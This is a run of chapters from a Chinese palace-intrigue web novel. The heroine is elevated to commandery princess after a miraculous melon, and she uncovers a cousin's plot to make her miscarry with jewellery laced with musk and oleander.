他们也都是吃了许昭昭切的瓜的,所以他们中人人都有些许的变化,虽说头发不能全黑,但是回家后一照镜子,这白发明显减少了很多,而且他们能感觉得到,自己原本有些虚弱的内脏某一处,的的确确是在好转。 所以说,不仅仅是神瓜,更应该是有许昭昭这位福星的加持在内。 但是,此事不能说。 而且,那日陛下将他们遣退时所说的话,仍然言犹在耳。 所以,他们不能赌。 陛下这是明显要保护安乐县主,不对,现在应该是安乐郡主了。 有人叹气,有人不服,还有人觉得不公。 但无论如何,事实如此。 余下的那八个瓜,真不知道会如何呀。 许昭昭当然不会给任何人攻诘她的机会。 所以,就在陛下刚刚下了封赏旨意之后,皇庄这边便有人急急忙忙地过来禀报了。 “陛下,那八颗瓜,就,就在小臣眼睁睁地注视下全都沙弥,最后全都萎缩成这么大点儿东西,再之后,竟然快速地没入泥土之中,连个籽都寻不到了呀!” 永安帝一惊,没想到,余下的八颗瓜,竟然就这样凭空消失了。 “来人,去查!” “是,陛下。” 此等奇事,永安帝自然不能偏信一家之言。 待大总管回来之后,便又将自己看到的说了一遍。 而且那片瓜田的藤蔓也在慢慢萎缩。 “陛下,奴才回来的时候,那里几乎已经没有大片的叶子了,奴才不敢耽搁,所以先回来禀报一声,还留下了两个小奴在那里候着。” 话音未落,便又有一名内侍跑回来。 “禀陛下,那片瓜田,竟然在奴眼前消失了,似乎是没入地下,如今连一点枯萎的藤蔓都找不到。就像是先前从来未曾有过这片瓜田一般,奴才亲眼所见,不敢欺瞒陛下。” 也就是说,这片瓜田,只为了那一颗奇异吉兆所生,如今陛下将其分食,那片瓜田便再没有了存在的必要,所以直接都消失了。 永安帝有些遗憾,未能亲眼瞧见那一幕呀,否则该是何等的震撼。 这件事,很快也被几位重臣得知,他们这才意识到自己能吃到这么一口瓜,是有多大的运气! 谁能想到呢? 原本还有人想着看看能不能有机会再尝一尝的,现在好了,彻底没机会了。 这也预示着,永安帝吃了那只吉瓜,所以,其它瓜便没有了存在的必要。 而且,这就是代表着上天只是为了降这个祥瑞给陛下,并非是全部臣民。 永安帝在遗憾之余,又很高兴。 大手一挥,将许昭昭的封地扩大。 对于一个有着实封一千两百户食邑的郡主而言,这绝对是所有公主郡主最有实权的一位。 因为公主一般虚封才三千户,而实封基本都不会过千。 齐王府以前的清平郡主甚至都没有食邑,只是一个虚封的郡主名头。 齐王嫡女乐阳郡主的实封也才几百户。 所以,谁不羡慕许昭昭呀! 第432章 她是福星,不是对手 乐阳郡主也羡慕许昭昭,但是话说回来,有几个像许昭昭这样的? 当初许昭昭获封县主,而且给的食邑还多,但问题是,内行人看门道,都知道这是陛下借着许昭昭之手来安顿一千户的百姓。 说是这一千户百姓供养她,倒不如说前期还是安乐县主在想法子给这些人谋生。 再后来,食邑增加,但是陛下并没有扩大封地,所以这还需要问吗? 这回好了,成郡主了,而且封地也扩了,但问题是,现在许昭昭自己都适应了应该如何为自己以及手下的百姓们谋福利了,压根儿不敢指望朝廷。 要说还得是皇帝陛下才是那个最厉害,最高明的人。 同一时间,皇后这里的气氛则是不太对。 曲世绩坐在一旁,慢悠悠地喝着茶,丝毫没有半分恼火的意思,但是皇后却被气得不轻。 “兄长还有心思喝茶?” 曲世绩挑眉:“此茶味甘醇厚,为何不喝?” 曲皇后被气得瞪眼:“你!兄长就不想想这次我们并没有捞到好处吗?” 曲世绩吓一跳:“娘娘,您可莫说胡话。小皇子身体康健,不比其它任何好处都要更实惠?” 曲皇后重重一哼:“陛下如今恢复朝气,日后兴许还会诞下诸多的小皇子,以往小皇子体弱,还能得陛下怜惜两分,如今他都恢复康健了,陛下眼里又岂会还有他?” 这是什么道理! 曲世绩皱眉,十分严肃:“娘娘此言差矣,而且是大错特错,以后还是莫要再说了。小皇子是龙子,自然是越康健越好。至于其它的,咱们再慢慢谋划便是。您此言若是传入小皇子耳中,岂非要与您生疏了?” “都怪那个许昭昭,若非是她,也不会如此!” “娘娘慎言!” 曲世绩蹭一下子站起来,再不阻止皇后,真不确定她还能再说出什么话来。 “安乐郡主是福星一事,只怕如今在陛下心中也算是落了印记,且深信不疑。同样的瓜,唯有经她之手才有这般奇效,而无论是您、还是姜太傅当时可都试过的,没有半分作用。您未食得那一口瓜,所以并不知道那种玄妙之感。” 曲世绩现在只是感叹当时只能分到一块,太少了呀,要不然,兴许他也能返老还童了。 看看陛下,如今满头黑发,且生龙活虎,听闻当年的力气又回来了。 啧,果然是只有君王才能享有这逆天的福气呀! “那又如何?她若识趣,当时就应该再献于我的。” 曲皇后真正的心结在这儿呢。 后来许昭昭又给小皇子切瓜,再后来又给臣子们分瓜,她自己也吃了几块,怎么就不想着给尊贵的皇后再献上两块呢? 问题是,这事儿还真怨不到许昭昭头上。 毕竟许昭昭只是一个命妇,她在那里一切都是听陛下指挥,她自己哪里敢做主? 所以皇后把怨气撒到许昭昭身上,就有些过分了。 曲世绩都看不下去了。 “娘娘,您是一国之母,为人当大度仁慈。安乐郡主此次的确是立下奇功,陛下如何赏赐都不过分。就冲着小皇子身体康健一事来说,就足以得赏。至于太子之位,您也莫过焦虑,陛下虽然未曾明言,但是咱们也都能看得出来,陛下还是更重礼法,嫡庶之别,自古有之,岂能无视?” “兄长你这话也就是骗骗我罢了,若陛下当真这般想的,为何迟迟不肯立进儿为太子?” “都说了别急!况且如今陛下正龙心大悦,又新得吉兆,您又何苦非要与陛下拧着来?” 曲世绩见终于将皇后劝得不再多言,这才又提醒道:“您还是想想该赏赐何物到护国公府吧。” “什么?” “上次你将那件独一无二的孔雀氅赏赐给许昭昭,你以为人家看不出来你的用意?你原本就是想着将她推到风口浪尖上,让她成为众矢之的,但是可惜了,这才过去多久?人家又晋封郡主,你身为皇后,若是没有赏赐,岂非是在质疑陛下的决定?这更会让人以为你们帝后不和,于安王可是没有半分好处!” 一席话,将曲皇后说得哑口无言。 是呀,上回将珍贵的孔雀氅给送出去了,那这回赏什么? 什么也不赏肯定是不行的。 自己怎么就脑子犯抽,竟然赏了一件孔雀氅呢。 这下好了,这次的封赏不能比上次差,但是真赏得太多了,她又气不顺。 这可难住皇后了。 还是曲世绩脑子转得快,这又是亲妹妹,还能怎么办? “娘娘上次赐了四个女官的空缺,这次,按郡主制,至少还要再加两个。” 提醒到这里,曲皇后也就明白了。 其实郡主与郡主之间也是有区别的。 身边到底是有多少女官,其实也跟这郡主是否受宠、血统是否纯正等有关。 比如说同为郡主,一个嫡出、一个庶出,那就不一样。 再比如说同为亲王所出的郡主,亲王是否受陛下信重,亲王与陛下血脉是否亲近等等,都会影响到他的子女们所享受的种种待遇。 说白了,一切都是陛下给的。 陛下认为你应该得这些,那无论是否逾制,都会给到你。 但如果陛下认为你不配享受这些,那么你的血脉再纯正、身份再高贵也没用。 其实,郡主身边,可不仅仅只有女官了。 但是护卫这边,曲皇后不敢插手,所以,只能是拿女官来说事了。 曲世绩见皇后听进去了,这才缓声道:“娘娘,安乐郡主是福星,是你我亲眼所见。不说陛下,就是您,也应该将其视为亲昵的后辈,而非对手呀!” 曲皇后在后宫斗了这么多年,岂会不明白这个道理? 只不过是因为一时气愤,所以才会口不择言,并且出错了招。 好在,现在挽救,为时未晚。 至少她能肯定,许昭昭与姜家是死敌,至于忠王那一派如何,且行且看吧。 皇后也不傻,不可能真地只给两个女官名额就罢,所以还是让人去挑选一些名贵之物,尽快送至护国公府。 二人都未曾注意到,在一道屏风后面,一个柜子的门微微晃动一下,自里面伸出一只小手来…… 第433章 要养别人的儿子? 许昭昭被封为郡主,并且还被扩大了封地,这于许、谢两府而言,都是天大的好事。 许昭昭早料到陛下会赏赐她,但没想到会直接来波大的。 郡主可不是能随便册封的。 但是陛下既然下旨了,那就证明没有遇到重臣的反对。 也就是说,那日她的行为,已经坐实了她是福星的流言,反正不管别人信不信,在场之人,应该是都信了。 尤其是陛下。 他自己的身体,自然是自己最清楚的。 臣子们看到的只是一个外表的变化,而陛下真切感受到的,应该是他内腑的变化。 尤其是那道异能帮助陛下清理了他的肝肺等多处内脏,如今的陛下,应该是耳聪目明,且体力、精力,都会让他感觉到自己回到了二十年前。 这是许昭昭想要的,也是陛下最想要的。 永安帝除了这些赏赐之外,又命蓝田县折冲府都尉给她的云栖山庄调拨了一百兵力,日后皆听从许昭昭调遣。 这可是陛下给的权利。 许昭昭得了赏赐,却是转头就命人将锦绣园的大门关上,只说是察觉到胎象不稳,自己需要静养。 人人皆知许昭昭怀了双胎,所以她说要养胎,谁还会没有眼色地上门打扰? 只有王若兰过来探望一遭,确定她无事之后,又留下一大堆的补品才离去。 曲皇后这一次是赔了夫人又折兵,全天下独一无二的孔雀氅被她给送出去了,结果却是起了反作用。 好在此事并无人知晓内情,否则,定会笑她愚笨。 “禀皇后娘娘,徐昭仪求见。” 曲皇后一愣:“她不是在养胎吗?算着日子月份可不浅了,怎么还出来溜达?” “奴婢不知,不过瞧着徐昭仪的气色不错,身后的宫女还带着东西。” “让她进来吧。” “是。” 徐昭仪便是之前曾与姜贵妃分庭抗礼之人。 只是后来一次宴会上犯了小错,被陛下禁足三个月,而徐昭仪这三个月内也一直很安份,倒是后来被诊出喜脉,陛下大喜之余,这才解了禁。 其实那会儿,徐昭仪都被关了两个多月了。 徐昭仪被得知有孕之时,早已三月有余,这胎象坐稳了,有些人也不好动手。 徐昭仪是个聪明人,知道仅凭她自己,可能保主不住腹中的孩儿,所以便主动向曲皇后示好。 曲皇后其实并不在意后宫中是否再多出一位皇子来。 毕竟她自己便有三子,而且安王都已经出宫开府了,膝下还有一个小皇子,根本就不缺儿子,自然也不会在意陛下是否再多一位皇子。 而且徐昭仪年轻呀,又得圣宠。 这么多年来,能在姜贵妃手里过招且不落于下风的,这位徐昭仪还是头一个。 所以,曲皇后也便接受了徐昭仪的投诚,庇佑她生下孩子,至于以后嘛,曲皇后当然还是想着让她去跟姜贵妃斗。 姜贵妃一日不死,曲皇后都难消心头之恨! 徐昭仪如今的肚子已经隆起,按接生嬷嬷的推算,差不多二月就能母子相见。 “你不好好养胎,怎么还出来四处走动?” “妾谢娘娘体恤,只是娘娘宽厚仁慈,妾也不能因此便坏了规矩。原本应该前日过来给娘娘请安的,只是因为腹中不适,所以才缓了两日。今日身体大好,便特意来向娘娘道喜。” 曲皇后明白了其用意。 小皇子身体康健,可不就是一件大喜事嘛。 曲皇后险些因为许昭昭就把这件事给忽略过去,看来,她还是要在宫中好好庆贺一番才是。 “你有心了。不过你现在身子重,差人送过来便是,何需再亲自跑一趟?” “应该的,妾蒙受娘娘庇佑,也没有什么能拿得出手的东西,只得给小殿下做了一身衣裳,也不知是否合身。” “嗯,针脚细密,可见是用了心思的。” “妾女红勉强能入眼,倒是听闻张婕妤最擅长缝制衣物,前几日妾身边的宫女去尚工局那里凑丝线时,听闻张婕妤这几个月可是一直在缝制衣物,妾知道张婕妤疼爱七皇子,只是也没必要准备这么多吧?” 说者无心,听者有意。 更何况,谁知道这徐昭仪是否故意露出来这样一个消息呢! 二人又敷衍几句后,徐昭仪便告退。 “来人,吩咐下去,三日后为小皇子身体康复庆贺,除了徐昭仪之外,正五品及以上的命妇都要到场。” “是,娘娘。” 半个时辰之后,一名宫女回来禀报。 “张婕妤上个月被姜贵妃叫过去训话,听说出来的时候,两条腿走路都不稳,还是被宫人搀扶着才能回去。且路上张婕妤便一直在掉眼泪,还说着心头肉之类的话。” 曲皇后眼神一凛,所以姜贵妃这是自己生不出儿子来,转而想要强行抚养别人的儿子? 张婕妤家世虽然不显,但是身为二十七世妇之首,可是正三品,这地位并不低。 连张婕妤这样的人在儿子抚养问题上都不敢与姜贵妃硬碰硬,也从侧面反应出来,姜贵妃在宫中的权势究竟有多盛! 岂有此理! 曲皇后大怒,一巴掌拍在案几上,却是迟迟没有出声。 好一会儿,才有一位女官过来又是帮着揉手,又是劝解。 曲皇后眯眼连着深吸好几口气,才觉得不那么火大了。 “七皇子年幼,姜贵妃倒是打得一手好算盘,也不知此事姜家是否知晓。张婕妤家世虽然是差了些,但也并非是默默无闻的寻常百姓。” 曲皇后越说越生气,这个姜贵妃是一点儿没把她放在眼里呀! “娘娘息怒,依奴婢看,宫妃过继皇子,这可是大事,就算是陛下点头,此事也未必可成呀。” 曲皇后微微点头,此言有理。 “来人,去请曲大人来见我,就说我给几个小侄孙弄了些稀罕玩意儿,让他顺路带回去。” “是,娘娘。” 曲世绩乍一听闻这侧消息,也是有些意外。 毕竟这么多年姜贵妃都没有起过给别人养儿子的心思,现在这是怎么了? “娘娘冷静,此事不急,您先稍安勿燥,待臣回去后好好斟酌,定然给娘娘一个满意的答复。” 第434章 还能这样教? 宫中开始大乱斗,许昭昭则是安心养胎。 一晃眼,已经到了年底。 宫中照例是要办宫宴,宴群臣的。 但是许昭昭这次没有出席,毕竟现在肚子已经很大了,而且这种场合,实在是不太安全,就算是她有依仗,但还是觉得小心为上。 许昭昭不进宫,于氏则是可以陪着老夫人进宫赴宴,至于小林氏,则是因为暂时没有这个资格入宫饮宴。 王若兰可以说是风头无两,但她知道自己只是一名外命妇,所以无论是在穿着打扮上,还是在言行举止上,都格外低调。 如今的王若兰,已经是国公夫人了,在一众外命妇中,那是仅次于王妃的存在了。 以前还有人说张氏、安和县主二女都是低嫁了,毕竟当时的许家还只是侯府,而且许翰本人也没有什么重任在身。 这才几年呀,人家摇身一变成国公府了。 而且许家的娇娇女都成郡主了,还有哪个不长眼的再笑话张氏、安和县主二女低嫁? 这分明就是嫁进福窝里了。 张氏自进门后不久,便帮着婆母管家,而她有喜之后,婆母又是对她格外关照,放眼全京城,谁不说王若兰是个好婆婆? 许家家世最低的,就是李明雅了,但她的父亲也是当朝大将军,而且嫁的是嫡三子,但谁让人家许君霆自己争气,然后成亲前就先给自己捞了个爵位呢! 所以说,许家这样的人家,现在是被多少人的眼珠子盯着呢。 有些人甚至打起了送女儿进府作妾的主意。 毕竟有些高门家的庶女,就是专门用来做这个的。 不像许、谢两家,庶女也是宁做小门正妻,不做高门贵妾。 事实上,妾就是妾,再怎么贵,也是妾,永远不可能越过正妻去! 王若兰全程都是谨小慎微,不敢有半分差池。 除了她之外,就是护国公府的老夫人最风光了。 毕竟这次是她的嫡孙在外立功,而且她的孙媳又得陛下重赏,总而言之,就是人在家中坐,喜从天上来呀! 许昭昭命人将门户看紧,同时还不忘了安排人去侯府,不对,现在应该说是信国公府那边去看看了。 大过年的,最好是都能消停一些。 她不想杀人,但有人非得过来招惹她,就不能怪她下手狠毒了。 谢婵陪着许昭昭说了小半个时辰的话,看到嫂嫂倦了,便主动提出来告退。 这般有眼色,日后定能当好一府主母。 而给谢婵的陪嫁人选,许昭昭也基本上都定好了。 两家陪房,另外还有两位嬷嬷、六个大丫环、八个小丫环。 那两家陪房里头,两代人总共六个男丁,足够给她在外使唤了。 除此之外,许昭昭又特意给她多添了几箱铜钱。 郑拓这样的武将,少不了要维护一下自己的关系,尤其是伤残的手下,总要表示一番的。 所以,银钱、粮药,这便是最直接,也最实惠的。 郑拓的家世其实是及不上李顺,毕竟李顺还有一位大将军堂伯呢。 但是郑拓和姐姐郑宝儿,却是被家族舍弃之人,若非是郑拓有几分血性和真本事,郑宝儿也未必能嫁入顾家。 如今郑拓自己前程似锦,只怕那个曾经舍弃他的家族又要缠上来了。 真要如此,郑拓也不能将事情做得太绝,否则要引人诟病。 这等同于人品不行,更等同于他是在忤逆宗族,一旦被弹劾,帝王也不可能明目张胆地护着他。 所以,还是要早做打算。 这日,许昭昭找出先前给族亲们备年礼的单子来,然后再命人去请谢婵。 谢婵看完单子之后,还一脸狐疑,不明白嫂嫂为何让她看这个。 “这些族亲里,有两户人家,曾与祖父有怨。还曾数年不来生,直至后来祖父打下了这个国公爷的爵位,众亲长们这才又走动起来。” 谢婵皱眉:“趋炎附势!” 许昭昭笑了,由此看得出来,这姑娘心眼儿是真的,不会拐弯。 “你说的没错,但是亲族好友,该维护的关系还是要维护。而且有些关系,不能仅仅从一些外物上来看谁吃亏,谁占便宜。” 谢婵不解:“还请嫂嫂赐教。” “不说别人,只说我那个好姑姑,想必你也是听过其名声的。” “是听过。孙夫人当年的陪嫁还曾被孙家人染指,后来还是多亏了侯爷,呃,信国公出马才摆平的。” “是呀。这里没有外人,我也不拿假话哄你。我那位姑姑,就是个没脑子的,一门心思被人利用,到头来还觉得自己是立了大功。多年来,一直占着娘家的便宜,却不自知。 我父亲母亲明知她占便宜,却从未指责过她,一是因为考虑到老夫人的心情,二来也是念着一份骨肉亲情。这第三嘛,还是要顾虑到阖府名声的。” 名声二字,被许昭昭咬得有些重。 谢婵若有所思,有些事,明明心里不情愿,但还是要做,只不过是因为会影响到自己的利益罢了。 许昭昭见她表情,便知道这姑娘应该是想通了。 “郑家之事,从未瞒你。此次郑拓凯旋,必然会得到封赏,兴许还能捞个小爵位,官职也会晋升,你觉得云阳县那边的亲人是否会派人来说和?” 谢婵咬了咬嘴唇,对于郑家的偏心长辈,她自然是不喜的。 但是再不喜,也是长辈。 “我明白了,多谢嫂嫂提点。届时无论如何,总要面子上过得云才是。” “正是如此,至少不能让外人挑了理。若无意外,郑拓回京后,就会立马筹备你们的婚事。等到郑家亲族寻来,你已为郑家妇,你与夫君并肩作战是理所应该的,但是有些话,男人不好讲,你却可以讲;有些事男人不便做,内眷做了,却是无伤大雅。” 谢婵听得眼睛一亮,原以为只是让她学着大度,顾及大局,没想到,嫂嫂还会这样教她! “只要明面儿上挑不出错来,那咱们就占着理。曾经亏待了我的人,如今只想着来拿我的好处,却不想背负任何的责任,天底下哪有这等好事!” 第435章 来送赔礼的 许昭昭漫不经心地吃了一颗梅子,轻声慢语道:“你要知道,人言可畏,这不是说着玩儿的。所以,我们想要报仇或者是发泄心中怒火之时,一定要先安排明白了。大义在我们手里,理亏的是对方,任谁也挑不出我们的错处,这才能让你立于不败之地。” “明白了。” “不,你不明白。谢婵,我要你清楚地知道,我们可以宽容,也可以隐忍,甚至是可以低声下气,但我们不能只委屈自己!” 谢婵听得眼睛亮晶晶的,但是又好像多了几分疑惑。 “这几本书,拿回去好好看看,之后再来跟我说说你的感想。” 有些事,得让她在实践中学习,只是单纯地言语几句,没用! 她也学不会! 正好,谢婵院子里就有几个刁奴,让她自己先练练手吧。 就在这个时候,许昭昭发现了一件事。 之前一直很消停,而且在忠王府的处境颇有几分尴尬的姜宁,竟然再次得到了忠王的宠爱和信任。 谁能想到,忠王将手下的部分产业,交给了一个小妾来打理? 而事实上,姜宁也的的确确是给忠王赚取了不少银钱。 据许柱子带回来的消息称,姜宁仅用几个月的时间,就帮忠王赚到了八十万贯钱。 这可不是小数目! 而且忠王想要争那个位子,自然就离不开银钱的助力。 有钱了,就等于是有底气了。 所以,姜宁是怎么做到的? 许昭昭微微眯眼,这阵子她也的确是懈怠了,这么大的事,竟然还是要让许柱子查出来再告知她,这足见她的消息比以前滞后太多了。 罢了,既然如此,那就先不管她,让她再蹦跶几天吧。 等自己生产完,不对,等不到那么久,只要父亲和谢铮他们回来了,自己就能腾出手来收拾她! 一个王府小妾,她还真不放在眼里。 “芍药,你去给柱子带句话,让他把姜宁手底下的人都盯紧了。需要多少花销,只管让他说话,无论如何,不能漏掉任何消息。” “是,主子。” “重点查一查姜宁的人是不是在与一些商户来往,尤其是外地商户。记住,莫要打草惊蛇。” “明白了,奴婢即刻去办。” 转眼,到了正月初六。 除了正月初一之外,其余几天,整个护国公府都是忙得不可开交。 许昭昭就算是怀着身孕,但是有些长辈到了府里,她也得过去露个面。 但其实因为她如今郡主的身份,所以压根儿没有任何一个长辈敢来挑她的理。 别人不挑理,但她也不好表现得太过分了。 正月初五这日基本上没有客人来,但是自己府里头还是要热闹一场的。 今天早上,许昭昭就起晚了,昨晚睡得不安稳,半夜里醒来坐了小半个时辰才又睡过去。 “主子,孙茜在外面求见,说是还特意带了东西来给您赔罪。” 许昭昭眉梢微动,孙茜? 多久没听到这个名字了? “只有她一人前来?” “是,只她一人,妇人打扮,奴婢瞧着穿的还是往年的旧衣,面容憔悴,应当是过得不大好。” “既然来了,那便将她叫进来。” “是。” 孙茜的确是很久没有出现在许昭昭眼前了。 这一次竟然会直接到护国公府来找她,许昭昭总觉得孙茜是做一件大事。 孙茜的确是着一身旧衣来的,眉眼间憔悴无神,她行过礼之后,便将自己准备的赔礼送上。 “以前是我不对,还请妹妹能看在咱们多年的情份上莫要再与我计较了。如今我一新寡之人,日子难过,家中长辈也容不下我,个个都劝着让我远离京城。表妹,以前的事情都是我错了,这些东西是我能找来的最好的了,求你松松口,只要你一句话,孙家定然不会再为难我的。” 许昭昭根本就不看那匣子一眼,反问道:“你是孙家千金,又一直是你母亲的心头肉,她岂会驱赶于你?” “我说的都是真的。我母亲在家中地位已大不如前,祖母厌烦了我,父亲也觉得是我害得孙家蒙羞。表妹,我真的知错了,求求你,原谅我吧。” 许昭昭没说话,如果她没记错的话,在上次的案子里,遭殃的就只有一个孙茜,事实上孙父还因此官升一级,又怎会怨恨上孙茜? 这话,不可信! “你备了何礼?” 提及礼物,孙茜的眼睛瞬间明亮起来。 “我带的可都是以前家中的上等宝石,在出事前,被我私藏了一部分。如今特意挑选出硕大又漂亮的宝石打造成了首饰,送与表妹。表妹生得倾国倾城,这等艳丽华贵之物,也只有表妹才能配得上。” 许昭昭微微一笑。 能让孙茜这般违心地夸她,足见这几件首饰是有多紧要。 许昭昭只是打开看了一眼,便感受到了这上面所附着的气息。 都是上等的好东西呀! 许昭昭命人将匣子合上,不动声色道:“来人,给孙小姐上茶,紫苏,你陪我进里间去试试。” “是,主子。” 孙茜听闻此言,眼睛更亮了。 许昭昭只是回头轻轻一瞥,便注意到了孙茜的小动作,她每每只要是兴奋或者是紧张时,都会不自觉地去扯自己衣袖。 这个习惯,竟是多年未变! “你即刻去一趟信国公府,将我母亲以及长兄请过来,并且要十分严肃地告诉他们有人要害我。另外,再派人去孙府,将孙庆阳、许琳以及孙淮之都给我叫过来,就说若是他们不来,明日便是整个孙府的死期!” “是,主子。” 紫苏应下之后,再看向这匣子:“主子,那您?” “无妨,将府医请过来。” “是。” 紫苏并没有察觉到这几件首饰有什么不妥,但是眼见主子说地这般肯定,自然也不会生疑。 许昭昭再次回到厅堂时,身上却并没有佩戴那两样首饰,这自然引得孙茜生疑。 许昭昭不待她问出口,便先声夺人:“表姐除了孙府之外,可还有其它去处?” 孙茜不解:“我哪有什么去处,不过就是庄子庵堂之流,我还能去何处!” 言毕,又摆出一副楚楚可怜模样。 第426章 你会害死全家的呀! 许昭昭一抬手,所有人都退出去了。 许昭昭眼神一凝,植物系的攻击异能就开始侵蚀到孙茜的五官之内。 很快,孙茜便如同主动自首的犯人一样,将自己的所做所为尽数讲出。 许昭昭早就命人备好了纸笔,自己一一记录,最后再让她签字画押。 一直到许昭昭将那朱泥收起,孙茜都没有反应过来。 信国公府的王若兰和许君安一听说有人要害昭昭,那还得了? 母子二人急匆匆往外赶,许君安更是直接打马前来。 也因此,许君安是第一个到的。 “兄长先稍坐。” 此时的孙茜早已被许昭昭命人给绑了,然后暂时将她的嘴巴也堵了。 “你没事吧?” 许昭昭摇头,“幸好发现得早,所以未对我造成成伤害。” “芍药,你命所有下人退至二十步之外,然后你带着海棠去守门,除了许家、孙家之人外,任何人不得进来。尤其是谢家人,一个都不许放进来。” “是,主子。” 许昭昭这是不想把事情闹大,真要是惊动了老夫人和国公爷,反而不好处置。 王若兰进门时,正好与许琳一起遇上,姑嫂二人相视一眼,谁也没有说话,都是直直地往里冲。 孙庆阳和孙淮之心中打鼓,就怕是再有什么事惹着许昭昭了。 许昭昭如今身份贵重,便是皇家的县主都不及她尊贵。 “都坐吧。” 人都到齐了,许昭昭命人坐下,之后紫苏将那个匣子捧出。 “姑姑和姑父先认一认,此物可是你府上的?” 许琳上下打量一番:“这是当初茜儿出嫁时,我给她的嫁妆,当里里面是放了一整套的头面。” “很好。紫苏,将匣子打开。” 紫苏将匣子打开之后,便露出了里面的真容。 两件首饰,一件是金镶玉石手镯,一件是花钿,而且看起来都华贵无双,绝非寻常人家能买得起。 “这,这是当初我给茜儿的嫁妆,怎会在你这里?” 许昭昭不语,紫苏便将孙茜将东西带来,然后说是赔礼的事情说了。 许琳和孙庆阳都跟着松口气,原来如此。 吓得他们出了一身冷汗。 “昭昭呀,这东西的的确确是从我许家出去的,而且这孩子既然说了是要送与你做赔礼的,那你收下便是,何故弄得这么大阵仗,而且还将茜儿捆绑于此,这是否太过了些?” 许琳刚进来看到女儿这副样子时,便有心上前解绑,但是被夫君给拦住了。 如今弄清楚始末,她就觉得是许昭昭太过小题大作,只怕是将女儿当成贼人给绑了。 许君安皱眉:“不对!昭昭,你的人到府中传信不是这样说的,可是还有什么遗漏?” 许昭昭面沉如水:“紫苏,当着他们的面儿将这手镯的暗扣打开,尤其是让我的好姑姑好好看一看,里面装的究竟是什么好东西!” “是,主子。” 紫苏将手镯取出,置于一托盘之中,随后自自己头上取下一发簪,三两下间,便将这手镯的一个暗扣打开,然后自里面倒出来大米粒大小的香丸。 这镯子原本就带有几分香气,当时紫苏只以为是孙茜做事仔细,用薰香薰过的。 如今将这里面的香丸取出,香气更为浓郁,这才知道,竟是自镯子内部所散发出来的。 “此丸内藏有大量麝香,府医已经确认过了,若是主子长期佩戴,不出七天,便会引起腹痛,从而引发小产。另外,那个花钿也有问题,被府医查出,曾被夹竹桃汁浸染。” 紫苏话落,厅内一时间安静得只能听到几人的呼吸声。 最先反应过来的是王若兰,她竟然直接大步向孙茜,啪啪两个耳光就给过去了。 许琳想要起身护女儿,许君安也立马过来,直接护在母亲身侧,同时,还不忘再顺便踢上一脚。 许昭昭示意大家先冷静。 “让孙茜自己说吧。” 孙茜此时早已哭成了一个泪人儿,脸上的妆容花了,头发也散了,整个人都狼狈不堪。 “母亲救我!” 在场之人都不是傻子,见她能说话的第一时间不是为自己辩解,而是求救,便知道紫苏刚刚说的应该都是真的了。 孙庆阳的身子像是一下子被泄了力,竟是挺不起来了。 而孙淮之也是眉头微锁,一脸嫌弃地看着这个只会惹事的妹妹。 许琳哭喊着过来护住女儿:“不可能!这怎么可能!” “有什么不可能的?姑姑,你还是先好好问问她,到底是何人给她出的这个主意,又是何人给她弄来的这些东西。你要明白,我不仅仅是护国公府的世子夫人,还是陛下才亲封不久的安乐郡主!此事一旦传开,不仅孙茜性命不保,你们整个孙家,都得跟着倒霉!” 许昭昭可不是在吓唬人。 这是事实呀! 孙庆阳总算是反应过来,颤颤微微地起身,直接冲着许昭昭行礼:“郡主恕罪,都是我孙家家教不严,才教出了这么一个孽障呀!这丫头如何发落,一切旦凭郡主做主。” 孙淮之也连忙起身,再看不清楚形势,他就别混了。 “一切都是孙茜的过错,与孙府无关,还请表妹看在大家一场亲戚的份儿上明查呀。” 许君安脸色冷厉:“孙茜,事已至此,你还不肯说实话吗?你想害得我妹妹出事,难道就没想过万一事发,孙家上下百余口人皆要因此丧命吗?” 孙茜此时像是失了魂魄,半天没能发出声来。 许琳眼看着事情闹到这个地步,知道不是她三言两语就能护下女儿的,连忙晃动着女儿大声哭喊:“都到这一步了,你倒是说呀!快说到底是什么人在暗中教唆你的,又是何人给你提供了这些东西。茜儿,我求求你,快说吧!你会害死全家的呀!” 孙茜的眼泪也跟着哗哗往下掉:“表妹,我知道错了。我不知道那镯子里有东西,是,是有人教我这么做,是有人说只有这样,你才能原谅我,我才能在京城生活下去的。” 这是实话,但没说全。 孙茜没有先前供出一切的记忆,所以,还在努力撇干净。 第437章 你必须死! 许昭昭一直没吭声,就看着她在那里演。 直到于嬷嬷到门外禀事,许昭昭这才让她带人进来。 于嬷嬷身边还跟着两个壮硕的婆子,二人扭送着两个小丫头进来。 “禀主子,奴婢带人找到这二人时,她们正在收拾细软,打算逃出京城。而且奴婢还在她们身上发现了这个。” 于嬷嬷将一样东西递过去,许昭昭只一眼便认出来,这是独属于草原人所爱佩戴的狼牙! 所以,和孙茜联手之人,极有可能是室韦人? 许君安也认出此物,面色大变。 许昭昭一抬手,于嬷嬷将两名仆妇遣退,她自己则是到门外候着。 “东西你们也看到了,至于这两个丫环,我相信重刑之下,她们也会招供的。孙茜,其实你说与不说,意义都不大。因为在我这里,你必须死!” 许琳立马扭头看过来:“不行呀!昭昭,她是你表姐,是我的亲生女儿呀!你不能这样,你父亲还在外征战,你怎么能忍心杀死他的外甥女?昭昭,你再查查,我们茜茜一定是被冤枉的。” “姑姑,行至这一步,还有什么好查的?你可知道,仅凭这一样东西,我呈至御前,便可治孙家一个勾结外邦谋逆之罪?” 扑通! 孙庆阳和孙淮之父子俩直接就给吓跪了。 前阵子陛下才杀了那么多官员,理由不就是收了胡人的好处,从而险些酿成大祸! 所以说,这种事情,他们不敢赌呀。 只要许昭昭把这东西呈上去,那么孙家所有人都得死! 许琳呆怔片刻后,无力地垂下双手,此时,也没有心思再去看女儿的神色了。 而孙茜则是终于听到了能触动她情绪的话,膝行两步:“不要!表妹,我错了,但我也是被人利用的,你饶了我吧。” 许琳也回过神来,开始不停地求情。 孙庆阳和孙淮之父子二人倒是不曾为孙茜求情,实话实说,她的存在于孙家而言,已经是屈辱大于利用价值了。 许昭昭冷冷地瞥向她们母女:“姑姑若是舍不得,你与她一起走,我也不会拦着。毕竟你们母女二人做下的事,我这里都记着呢。尤其是孙茜,我今日只取你一条命,还愿意让你体面的死去,这就已经是看在父亲的面子上了,否则,我将你五马分尸都不足以泄我心头之恨!” 敢打她腹中胎儿的主意,这些人真是找死! 上辈子她没有机会做母亲,这辈子总算是遇到一个看着顺眼的男人,还有了孕育子嗣的机会,怎么可能饶过那些给她使绊子的人? 一个都跑不了! 孙茜不停地哀求,嗓音都变了:“昭昭,我错了,我知道错了,你饶我这一回吧!” 许琳也看出来许昭昭不是在开玩笑,心底一颤:“昭昭,你表姐知错了,看在我和你父亲的情份上,你就饶过她这一回吧。” 